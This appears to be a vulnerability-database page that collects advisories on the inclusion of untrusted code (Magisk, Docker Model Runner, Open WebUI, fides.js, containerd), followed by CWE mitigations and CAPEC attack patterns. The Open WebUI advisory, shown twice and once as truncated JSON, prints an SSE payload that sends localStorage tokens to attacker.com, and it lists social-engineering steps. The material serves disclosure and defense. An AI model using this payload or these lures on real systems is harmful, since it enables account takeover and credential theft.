Details
The install() function of ProviderInstaller.java in Magisk App before canary version 27007 does not verify the GMS app before loading it, which allows a local untrusted app with no additional privileges to silently execute arbitrary code in the Magisk app and escalate privileges to root via a crafted package, aka Bug #8279. User interaction is not needed for exploitation.

Details
The vllm-metal inference backend in Docker Model Runner on macOS unconditionally sets trust_remote_code=True when loading model tokenizers, and runs without sandboxing. This causes transformers.AutoTokenizer.from_pretrained() to import and execute arbitrary Python files included in any model pulled from an OCI registry, resulting in arbitrary code execution on the Docker host as the Docker Desktop user when inference is triggered.
Any container on the Docker network can trigger this by calling the model-runner.docker.internal API to pull a malicious model and request inference.

Summary
Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
Details
Summary
Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.
Details
ROOT CAUSE ANALYSIS:
Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible model servers without proper validation of the Server-Sent Events (SSE) these servers emit.
VULNERABLE COMPONENT: Frontend SSE Event Handler
The frontend JavaScript code processes SSE events from external servers and specifically
handles an execute event type that triggers arbitrary JavaScript execution:
// Approximate vulnerable code location (frontend SSE handler) if (event.type === 'execute') { const func = new Function(event.data.code); // CRITICAL: Unsafe code execution await func(); }
VULNERABILITY DETAILS:
- No validation of external server trustworthiness
- No allowlist of trusted model providers
- No event type whitelisting or filtering
- Direct execution of code from
executeevents usingnew Function() - No sandboxing or Content Security Policy enforcement
- Full browser context access (localStorage, cookies, DOM)
ATTACK VECTOR:
- Attacker deploys malicious OpenAI-compatible API server
- Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"
- Victim enables Direct Connections (Admin Settings → Connections)
- Victim adds attacker's URL as external connection
- Victim sends ANY message to the malicious model
- Malicious server responds with SSE stream including:
data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}
- Frontend executes the malicious code via
new Function() - JWT token exfiltrated to attacker's server
- Token is valid permanently (expires_at: null)
EXPLOITATION EVIDENCE:
Tested on Open WebUI v0.6.33 (2025-10-08):
- Token successfully captured in < ~5 seconds
- Admin token obtained with full privileges
- Token format: JWT stored in localStorage
- Token validation confirmed via /api/v1/users/user/info](http://localhost:3000/api/v1/auths/
CWE CLASSIFICATIONS:
Primary: - CWE-829: Inclusion of Functionality from Untrusted Control Sphere - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
Secondary: - CWE-830: Inclusion of Web Functionality from an Untrusted Source - CWE-501: Trust Boundary Violation - CWE-522: Insufficiently Protected Credentials (token in localStorage)
CHAINED IMPACT:
When admin token is stolen, attacker can exploit Functions API to achieve RCE on backend server (see separate report for Functions/Tools vulnerability).
PoC
PROOF OF CONCEPT - COMPLETE REPRODUCTION
PREREQUISITES: - Open WebUI v0.6.33 running (tested version) - Node.js v18+ for malicious server - Python 3.8+ for token listener
ENVIRONMENT SETUP:
For Docker deployment:
Clone the repository Open WebUI v0.6.33 and run docker compose up
EXPLOITATION STEPS:
Step 1: Create Malicious Model Server (malicious-server.js)

Impact
VULNERABILITY TYPE: Code Injection via Untrusted External Data Source
WHO IS IMPACTED:
- All users who enable Direct Connections feature
- Organizations allowing external model endpoints
- Users adding local models (Ollama, LM Studio, custom APIs)
- Development and testing environments
- Direct Connections is admin-controllable but affects all users once enabled
- Common in organizations using "bring your own model" policies
- Social engineering success rate is high ("Try my free GPT-4")
- Feature is designed for external connections, making attacks plausible
ATTACK SCENARIOS:
Scenario 1: Corporate Espionage
- Attacker targets company using Open WebUI
- Posts "free GPT-4 alternative" on Reddit/HackerNews
- Company employees add the malicious model
- Multiple tokens stolen including admin
- Full access to company's AI conversations and data
Scenario 2: Supply Chain Attack - MSP hosts Open WebUI for 50 clients - MSP employee tests malicious model - Admin token stolen - Attacker gains access to all 50 client instances
Scenario 3: Insider Threat Amplification - Disgruntled employee with user account - Deploys malicious model - Shares in company Slack: "Cool new model!" - Admin tests it, token stolen - Employee escalates to admin privileges
Please note that once this vulnerability is fixed, we are going to release a blog. I work as a security researcher for Cato Networks.

"details": "### Summary\nOpen WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) `execute` events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker\u0027s malicious model URL, achievable through social engineering of the admin and subsequent users.\n\n\n### Details\nROOT CAUSE ANALYSIS:\n\nOpen WebUI\u0027s Direct Connections feature allows users to add external OpenAI-compatible \nmodel servers without proper validation of the Server-Sent Events (SSE) these servers emit.\n\nVULNERABLE COMPONENT: Frontend SSE Event Handler\n\nThe frontend JavaScript code processes SSE events from external servers and specifically \nhandles an `execute` event type that triggers arbitrary JavaScript execution:\n\n// Approximate vulnerable code location (frontend SSE handler)\nif (event.type === \u0027execute\u0027) {\n const func = new Function(event.data.code); // CRITICAL: Unsafe code execution\n await func();\n}\n\nVULNERABILITY DETAILS:\n\n1. No validation of external server trustworthiness\n2. No allowlist of trusted model providers \n3. No event type whitelisting or filtering\n4. Direct execution of code from `execute` events using `new Function()`\n5. No sandboxing or Content Security Policy enforcement\n6. Full browser context access (localStorage, cookies, DOM)\n\nATTACK VECTOR:\n\n1. Attacker deploys malicious OpenAI-compatible API server\n2. Social engineering: \"Try my free GPT-4 alternative at http://attacker.com:8000\"\n3. Victim enables Direct Connections (Admin Settings \u2192 Connections)\n\u003cimg width=\"3466\" height=\"2232\" alt=\"CleanShot 2025-10-10 at 10 41 57@2x\" src=\"https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002\" /\u003e\n5. Victim adds attacker\u0027s URL as external connection\n6. Victim sends ANY message to the malicious model\n7. Malicious server responds with SSE stream including:\n\n data: {\"event\": {\"type\": \"execute\", \"data\": {\"code\": \"fetch(\u0027http://attacker.com/steal?t=\u0027 + localStorage.token)\"}}}\n\n8. Frontend executes the malicious code via `new Function()`\n9. JWT token exfiltrated to attacker\u0027s server\n10. Token is valid permanently (expires_at: null)\n\nEXPLOITATION EVIDENCE:\n\nTested on Open WebUI v0.6.33 (2025-10-08):\n- Token successfully captured in \u003c ~5 seconds\n- Admin token obtained with full privileges\n- Token format: JWT stored in localStorage\n- Token validation confirmed via `/api/v1/users/user/info](http://localhost:3000/api/v1/auths/`\n\nCWE CLASSIFICATIONS:\n\nPrimary:\n- CWE-829: Inclusion of Functionality from Untrusted Control Sphere\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n\nSecondary:\n- CWE-830: Inclusion of Web Functionality from an Untrusted Source\n- CWE-501: Trust Boundary Violation\n- CWE-522: Insufficiently Protected Credentials (token in localStorage)\n\nCHAINED IMPACT:\n\nWhen admin token is stolen, attacker can exploit Functions API to achieve RCE\non backend server (see separate report for Functions/Tools vulnerability).\n\n### PoC\nPROOF OF CONCEPT - COMPLETE REPRODUCTION\n\nPREREQUISITES:\n- Open WebUI v0.6.33 running (tested version)\n- Node.js v18+ for malicious server\n- Python 3.8+ for token listener\n\nENVIRONMENT SETUP:\n\nFor Docker deployment:\nClone the repository Open WebUI v0.6.33 and run `docker compose up`\n\nEXPLOITATION STEPS:\n\nStep 1: Create Malicious Model Server (malicious-server.js)\n\n```\n#!/usr/bin/env python3\n\"\"\"\nOpen WebUI - Automated Token Capture

Summary
Inclusion of Untrusted polyfill.io Code Vulnerability in fides.js
Details
Note
On Thursday, June 27, 2024, Cloudflare and Namecheap intervened at a domain level to ensure polyfill.io and its subdomains could not resolve to the compromised service, rendering this vulnerability unexploitable.
The following sections describe this vulnerability prior to the domain level intervention, when it was still exploitable.
Impact
fides.js, a client-side script used to interact with the consent management features of Fides, used the polyfill.io domain in a very limited edge case, when it detected a legacy browser such as IE11 that did not support the fetch standard.
On June 25th, 2024, Sansec published the following regarding the polyfill.io domain.
The polyfill.js is a popular open source library to support older browsers. 100K+ sites embed it using the cdn.polyfill.io domain... However, in February this year, a Chinese company bought the domain and the Github account. Since then, this domain was caught injecting malware on mobile devices via any site that embeds cdn.polyfill.io.
Therefore it was possible for users of legacy, pre-2017 browsers who navigate to a page serving fides.js to download and execute malicious scripts from the compromised domain.
No exploitation of fides.js via polyfill.io has been identified at this time, but other script developers who use https://cdn.polyfill.io/v2/polyfill.min.js have reported redirects to malicious websites.
Patches
The vulnerability has been patched in Fides version 2.39.1. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds
Prior to the domain level intervention, there were no server-side workarounds and the confidentiality, integrity, and availability impacts of this vulnerability were high.
Clients could ensure they were not affected by using a modern browser that supported the fetch standard. caniuse.com/fetch estimates that 97.52% of browser users use a browser that supports the fetch standard.

Vulnerability from github – Published: 2026-06-19 19:35 – Updated: 2026-06-19 19:35
VLAI
Summary
containerd: CRI checkpoint import allows local image tag poisoning
Details
Impact
containerd's CRI checkpoint import process contains a vulnerability where it fails to validate the image references specified within a checkpoint image's configuration. An attacker with permissions to create pods can use a crafted checkpoint image to force containerd to pull a malicious image and assign it an arbitrary local tag, thereby poisoning the node's local image cache. Subsequently, if other pods on the same node attempt to use the poisoned tag with an IfNotPresent (or Never) pull policy, they will unknowingly execute the attacker's malicious image instead of the legitimate one. This can lead to a compromise of the affected pods, allowing the attacker to execute arbitrary code under the victim pod's identity.
Patches
This bug has been fixed in the following containerd versions:
- 2.3.2
- 2.2.5
- 2.1.9
Users should update to these versions to resolve the issue.
Workarounds
Users should only allow trusted images to be pulled.

Mitigation MIT-4
Architecture and Design
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-21.1
Architecture and Design
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-22
Architecture and Design
Operation
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-17
Architecture and Design
Operation
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-5.1
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-34
Architecture and Design
Operation
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-6
Architecture and Design
Implementation
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Mitigation MIT-29
Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-175: Code Inclusion
An adversary exploits a weakness on the target to force arbitrary code to be retrieved locally or from a remote location and executed. This differs from code injection in that code injection involves the direct inclusion of code while code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-201: Serialized Data External Linking
An adversary creates a serialized data file (e.g. XML, YAML, etc...) that contains an external data reference. Because serialized data parsers may not validate documents with external references, there may be no checks on the nature of the reference in the external data. This can allow an adversary to open arbitrary files or connections, which may further lead to the adversary gaining access to information on the system that they would normally be unable to obtain.
CAPEC-228: DTD Injection
An attacker injects malicious content into an application's DTD in an attempt to produce a negative technical impact. DTDs are used to describe how XML documents are processed. Certain malformed DTDs (for example, those with excessive entity expansion as described in CAPEC 197) can cause the XML parsers that process the DTDs to consume excessive resources resulting in resource depletion.
CAPEC-251: Local Code Inclusion
The attacker forces an application to load arbitrary code files from the local machine. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways.
CAPEC-252: PHP Local File Inclusion
The attacker loads and executes an arbitrary local PHP file on a target machine. The attacker could use this to try to load old versions of PHP files that have known vulnerabilities, to load PHP files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways.
CAPEC-253: Remote Code Inclusion
The attacker forces an application to load arbitrary code files from a remote location. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load malicious files that the attacker placed on the remote machine, or to otherwise change the functionality of the targeted application in unexpected ways.
CAPEC-263: Force Use of Corrupted Files
This describes an attack where an application is forced to use a file that an attacker has corrupted. The result is often a denial of service caused by the application being unable to process the corrupted file, but other results, including the disabling of filters or access controls (if the application fails in an unsafe way rather than failing by locking down) or buffer overflows are possible.
CAPEC-538: Open-Source Library Manipulation
Adversaries implant malicious code in open source software (OSS) libraries to have it widely distributed, as OSS is commonly downloaded by developers and other users to incorporate into software development projects. The adversary can have a particular system in mind to target, or the implantation can be the first stage of follow-on attacks on many systems.
CAPEC-549: Local Execution of Code
An adversary installs and executes malicious code on the target system in an effort to achieve a negative technical impact. Examples include rootkits, ransomware, spyware, adware, and others.
CAPEC-640: Inclusion of Code in Existing Process
The adversary takes advantage of a bug in an application failing to verify the integrity of the running process to execute arbitrary code in the address space of a separate live process. The adversary could use running code in the context of another process to try to access process's memory, system/network resources, etc. The goal of this attack is to evade detection defenses and escalate privileges by masking the malicious code under an existing legitimate process. Examples of approaches include but not limited to: dynamic-link library (DLL) injection, portable executable injection, thread execution hijacking, ptrace system calls, VDSO hijacking, function hooking, reflective code loading, and more.
CAPEC-660: Root/Jailbreak Detection Evasion via Hooking
An adversary forces a non-restricted mobile application to load arbitrary code or code files, via Hooking, with the goal of evading Root/Jailbreak detection. Mobile device users often Root/Jailbreak their devices in order to gain administrative control over the mobile operating system and/or to install third-party mobile applications that are not provided by authorized application stores (e.g. Google Play Store and Apple App Store). Adversaries may further leverage these capabilities to escalate privileges or bypass access control on legitimate applications. Although many mobile applications check if a mobile device is Rooted/Jailbroken prior to authorized use of the application, adversaries may be able to "hook" code in order to circumvent these checks. Successfully evading Root/Jailbreak detection allows an adversary to execute administrative commands, obtain confidential data, impersonate legitimate users of the application, and more.
CAPEC-695: Repo Jacking
An adversary takes advantage of the redirect property of directly linked Version Control System (VCS) repositories to trick users into incorporating malicious code into their applications.
CAPEC-698: Install Malicious Extension
An adversary directly installs or tricks a user into installing a malicious extension into existing trusted software, with the goal of achieving a variety of negative technical impacts.
